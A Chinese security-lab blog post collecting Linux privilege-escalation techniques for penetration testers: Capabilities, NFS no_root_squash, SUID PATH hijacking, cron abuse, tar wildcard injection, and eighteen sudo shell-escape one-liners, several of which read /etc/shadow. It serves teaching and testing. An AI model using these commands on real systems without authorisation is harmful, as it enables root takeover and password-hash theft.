百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 优雅编程 > 正文

忆享科技戟星安全实验室|最全的Linux提权总结,赶紧收藏吧

sinye56 2024-11-27 20:32 1 浏览 0 评论

戟星安全实验室


忆享科技旗下高端的网络安全攻防服务团队。安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等。


本文约4670字,阅读约需12分钟。


0x00 前言

在日常渗透测试过程中,我们常常会先是拿到webshell,当我们权限过低时,我们需要提升权限进行下一步渗透,今天就来聊一下提权的方式有哪些。


0x01 利用Capabilities进行提权


Capabilities是为了对Linux的权限控制更颗粒性而诞生的,在应用场景中为了满足一些低权限账户的运维需求,但是又不想利用SUID进行权限控制(因为容易造成权限滥用,SUID可以拥有root的权限),就可以利用Capabilities对低权限账户使用的命令进行权限判断,判断通过则说明拥有可执行的权限。


1、环境搭建与复现

我们首先用root用户权限给命令配置Capabilities权限

setcap cap_setuid+ep /usr/bin/php


再用getcap命令是否成功赋权

getcap /usr/bin/php



那么实战中,切换到低权限账户,我们可以通过这个命令来对被设置了Capability的文件进行搜寻。

getcap -r / 2>/dev/null



通过php命令成功进行提权


php -r "posix_setuid(0); system('/bin/sh');"



0x02 利用NFS进行提权


网络文件系统,英文Network File System(NFS),是由SUN公司研制的UNIX表示层协议(presentation layer protocol),能使使用者访问网络上别处的文件就像在使用自己的计算机一样。

通过这段文字,我们不难理解NFS的作用,简单理解就是共享文件,那么当NFS服务器误配的时候,就会产生一系列的安全问题,比如说no_root_squath这个参数,如果添加了它,那么当另一个机子A电脑以root权限远程连接NFS服务器的时候,A电脑对该共享文件会直接拥有root的权限。


1、编辑/etc/exports和信息收集

/etc/exports是nfs的配置文件,其中配置了指定的共享目录,可以访问的ip白名单,以及该目录的权限,下面展示一个标准的误配。



指定了/var目录为共享目录,*号代表着任意IP都可以访问该目录,rw设置目录的读写权限,sync设置磁盘同步读写。


当我们以低权限用户对/etc/exports文件进行cat的时候,我们可以清楚的看到管理员对NFS的配置,这时候我们在另外一台机器A上利用showmonut远程访问到NFS服务器



2、进行提权


那么接下来我们要怎么利用这个误配进行提权呢。

首先利用命令进行挂载,可以看到挂载成功后,我们获得了对方目录的所有权限。

mount -o rw,vers=4 106.xx.xx.125:/var /var/zhenzhen



既然都有对方目录的权限了,我们可以把自己机器上的bash上传到共享文件夹里面。

cp -a /usr/bin/bash /var/zhenzhen/zhenzhen


这时候我们到NFS服务端上一看,就发现自己的目录下多了个bash。



好家伙,直接root。



0x03 利用SUID进行提权


1、利用环境变量进行提

在Linux中,环境变量保存在PATH文件中,就像Windows一样可以加在PATH项里,利用ECHO命令我们可以看见当前的$PATH目录。



我们可以看到被添加到这些目录下的文件如/usr/local/sbin/xxxx我们都可以直接通过Shell进行调用,而不需要cd到那个目录下再去进行调用,而且调用的顺序是从左往右的。


那么我们可以通过劫持环境变量来进行提权,但前提是有一个suid权限的文件且里面有可以执行的命令。


对SUID文件进行信息收集

find / -type f -perm -04000 -ls 2>/dev/null



我们尝试运行一下这个zhenzhenshell,看看它执行了什么命令。



看了里面自带了一个id命令,那我们可以通过劫持id命令的环境变量来达成提权的目的。


首先我们要清楚id命令的环境遍历的位置,通过whereis命令。



可以看到默认是/usr/bin/id,现在我们要自己添加一个环境变量进去。


利用ECHO命令进行劫持

我们直接在当前目录下创个id命令(LINUX中一切皆文件),并且写入一个/bin/bash进去。



之后我们利用export命令写入一个临时变量,因为是从左往右的优先级执行,所以执行id命令的时候会跑到当前目录也就是/var/zhenzhen2/目录下去执行id,而刚刚我们的id里面写入了一个/bin/bash。



之后执行zhenzhenshell,成功提权。


0x04 利用crontab计时任务进行提权


crontab可以让设置一些定时任务,比如说你想在晚上11点钟自动进行文件的备份,我们就可以利用crontab设置好命令定期执行,而这些定期执行的任务也一般被叫做cron jobs。


那么假设这时候由root权限创建了一个.sh的定时任务脚本,但是因为这个定时任务脚本的权限没有设置好,导致攻击者可以以低权限的账户去进行编辑,覆盖等等操作,比如说往里面插入恶意的命令,这时候装载着恶意命令的.sh脚本就可以被root权限的定时任务给执行了,那么就可以轻松达到攻击者想要达到的目的。


对定时任务进行信息收集

根据上面的描述,我们很明显需要知道哪些定时任务启用了root权限执行,并且能够让攻击者(低权限账户)进行编辑,当用户权限足够时,我们可以通过在网上搜集一些搜索脚本来寻找其他用户的定时任务。


for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l;done //遍历用户的cronjobs


for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done   //遍历用户的cronjobs


我们可以收集所有的,当前账户有权限编写的文件,比如说通过sudo cat来搜集当前root用户下的Cronjobs。

sudo cat /var/spool/cron/root



通过find命令对可写文件的收集

find / -perm -2 -type f 2> /dev/null



利用pspy工具对linux文件执行时间进行监控,如果发现有规律的运行文件,就会被判断为任务计划执行。

https://github.com/DominicBreuker/pspy



对cronjobs进行编辑写入恶意命令


当我们具有cronjobs文件的写入权限,事情就会变得轻松很多,比如说我们这里是一个.sh的cronjobs,我们可以尝试写入一些恶意命令,例如反弹shell等操作。


0x05 利用通配符进行提权


在LINUX中通配符可以被用来模糊匹配,而且通配符的输入是由当前用户的shell去进行解析。

* 匹配任意个字符
?   匹配任意单个字符   
[]  匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]
-   匹配一个字符


但是在Linux中有一个现象,首先我们创建两个文件。



然后我们利用cat命令去抓取文本中的内容



可以看到我们并不能抓取名为--help的文件,这里并不难理解,只是shell先去解析了cat --help调出了帮助文档,而没有选择去抓取名为--help文件里面的内容,这种现象被称为Wildcard wildness。


那么顺应下去,肯定不止cat命令有这个问题。


比如说在当前目录下执行ls * ,它也会调用ls --help。



而这种现象将会引发一些安全问题。


1、Tar命令


Tar是Unix和类Unix系统上的压缩打包工具,可以将多个文件合并为一个文件,打包后的文件后缀亦为“tar”。


–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION。


显而易见,我们可以通过tar命令的这两条参数进行命令执行,比如说

tar -czf sss ./* --checkpoint=1 --checkpoint-action=exec="ls"



那么现在假如说有这么两个文件,我们就可以利用Wildcard wildness来达成目的。




当一些运维人员配置错误时,比如说在cronjobs指定某个目录定时执行tar命令,我们就可以利用Wildcard wildness完成提权等操作。


0x06 利用SUDO命令进行提权



什么是SUDO

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。


在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作。



假设,给予了zhenzhen这个账户ALL的权限,我们能够运用那些命令进行提权呢。


利用SUDO进行提权

我们先用sudo -l命令观察一下当前用户的sudo权限。假设这是一个存在SUDO滥用的账户。



1.利用vim命令进行提权

sudo vim -c '!sh'



2.利用man命令进行提权

sudo man man




3.利用awk命令进行提权

sudo awk 'BEGIN {system("/bin/sh")}'



4.利用curl命令进行提权

sudo curl file://etc/shadow



5.利用find命令进行提权

sudo find /etc/passwd -exec /bin/sh \;



6.利用apache命令进行提权

sudo apache2 -f /etc/shadow


7.利用xxd命令进行提权

sudo xxd "/etc/shadow" | xxd -r




8.利用taskset命令进行提权

sudo taskset 1 /bin/sh -p



9.利用git命令进行提权

sudo git help config
!/bin/sh




10.利用ftp命令进行提权

sudo ftp
!/bin/sh & !/bin/bash



11.利用env命令进行提权

sudo env /bin/sh



12.利用less命令进行提权


sudo less /etc/hosts
!sh



13.利用perl命令进行提权

sudo perl -e 'exec "/bin/sh";'



14.利用tmux命令进行提权

sudo tmux



15.利用ed命令进行提权

sudo ed
!/bin/sh



16.利用apt命令进行提权

TF=$(mktemp) 
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}'
> $TF
sudo apt-get install -c $TF sl


17.利用zip命令进行提权

sudo zip 2.zip 1.txt -T
--unzip-command="sh -c /bin/sh"



18.利用sed命令进行提权

sudo sed -n '1e exec sh 1>&0' /etc/passwd




声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


END

相关推荐

Linux基础知识之修改root用户密码

现象:Linux修改密码出现:Authenticationtokenmanipulationerror。故障解决办法:进入单用户,执行pwconv,再执行passwdroot。...

Linux如何修改远程访问端口

对于Linux服务器而言,其默认的远程访问端口为22。但是,出于安全方面的考虑,一般都会修改该端口。下面我来简答介绍一下如何修改Linux服务器默认的远程访问端口。对于默认端口而言,其相关的配置位于/...

如何批量更改文件的权限

如果你发觉一个目录结构下的大量文件权限(读、写、可执行)很乱时,可以执行以下两个命令批量修正:批量修改文件夹的权限chmod755-Rdir_name批量修改文件的权限finddir_nam...

CentOS「linux」学习笔记10:修改文件和目录权限

?linux基础操作:主要介绍了修改文件和目录的权限及chown和chgrp高级用法6.chmod修改权限1:字母方式[修改文件或目录的权限]u代表所属者,g代表所属组,o代表其他组的用户,a代表所有...

Linux下更改串口的权限

问题描述我在Ubuntu中使用ArduinoIDE,并且遇到串口问题。它过去一直有效,但由于可能不必要的原因,我觉得有必要将一些文件的所有权从root所有权更改为我的用户所有权。...

Linux chown命令:修改文件和目录的所有者和所属组

chown命令,可以认为是"changeowner"的缩写,主要用于修改文件(或目录)的所有者,除此之外,这个命令也可以修改文件(或目录)的所属组。当只需要修改所有者时,可使用...

chmod修改文件夹及子目录权限的方法

chmod修改文件夹及子目录权限的方法打开终端进入你需要修改的目录然后执行下面这条命令chmod777*-R全部子目录及文件权限改为777查看linux文件的权限:ls-l文件名称查看li...

Android 修改隐藏设置项权限

在Android系统中,修改某些隐藏设置项或权限通常涉及到系统级别的操作,尤其是针对非标准的、未在常规用户界面显示的高级选项。这些隐藏设置往往与隐私保护、安全相关的特殊功能有关,或者涉及开发者选项、权...

完蛋了!我不小心把Linux所有的文件权限修改了!在线等修复!

最近一个客户在群里说他一不小心把某台业务服务器的根目录权限给改了,本来想修改当前目录,结果执行成了根目录。...

linux改变安全性设置-改变所属关系

CentOS7.3学习笔记总结(五十八)-改变安全性设置-改变所属关系在以前的文章里,我介绍过linux文件权限,感兴趣的朋友可以关注我,阅读一下这篇文章。这里我们不在做过的介绍,注重介绍改变文件或者...

Python基础到实战一飞冲天(一)--linux基础(七)修改权限chmod

#07_Python基础到实战一飞冲天(一)--linux基础(七)--修改权限chmod-root-groupadd-groupdel-chgrp-username-passwd...

linux更改用户权限为root权限方法大全

背景在使用linux系统时,经常会遇到需要修改用户权限为root权限。通过修改用户所属群组groupid为root,此操作只能使普通用户实现享有部分root权限,普通用户仍不能像root用户一样享有超...

怎么用ip命令在linux中添加路由表项?

在Linux中添加路由表项,可以使用ip命令的route子命令。添加路由表项的基本语法如下:sudoiprouteadd<network>via<gateway>这...

Linux配置网络

1、网卡名配置相关文件回到顶部网卡名命名规则文件:/etc/udev/rules.d/70-persistent-net.rules#PCIdevice0x8086:0x100f(e1000)...

Linux系列---网络配置文件

1.网卡配置文件在/etc/sysconfig/network-scripts/下:[root@oldboynetwork-scripts]#ls/etc/sysconfig/network-s...

取消回复欢迎 发表评论: